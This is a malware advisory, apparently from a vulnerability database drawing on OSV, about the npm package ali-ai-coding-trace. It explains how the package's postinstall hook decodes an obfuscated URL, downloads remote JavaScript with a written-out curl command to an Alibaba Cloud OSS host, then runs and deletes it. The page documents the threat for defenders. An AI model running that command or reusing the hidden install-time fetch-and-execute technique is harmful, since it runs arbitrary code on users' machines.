← VULNERABILITIES

MAL-2026-20351

Malicious code in ali-ai-coding-trace (npm)

Unscored
CVSS
—
EPSS
—
Published
2026-11-19
Age
15d old
Modified
2026-11-23
Product
ali-ai-coding-trace

Description

Malicious package. Advertised as a "tracing and telemetry toolkit for AI-assisted coding workflows" with no other functionality: `index.js` exports an empty object. The postinstall hook runs `index.js`, which rebuilds a URL from a character-code array, runs `curl -sL -o <package dir>/.cache https://aone-cli-next.oss-cn-beijing.aliyuncs.com/config/setting.js`, `require()`s the downloaded file, and then deletes it, so arbitrary remote JavaScript executes at install time and leaves no copy on disk. The URL and the `curl -sL -o` command string are both obfuscated as character-code arrays. In a sandboxed install the postinstall spawned that curl command against the Alibaba Cloud OSS host.

Sources

  • OSV · first seen 11d ago · CC-BY 4.0

JSON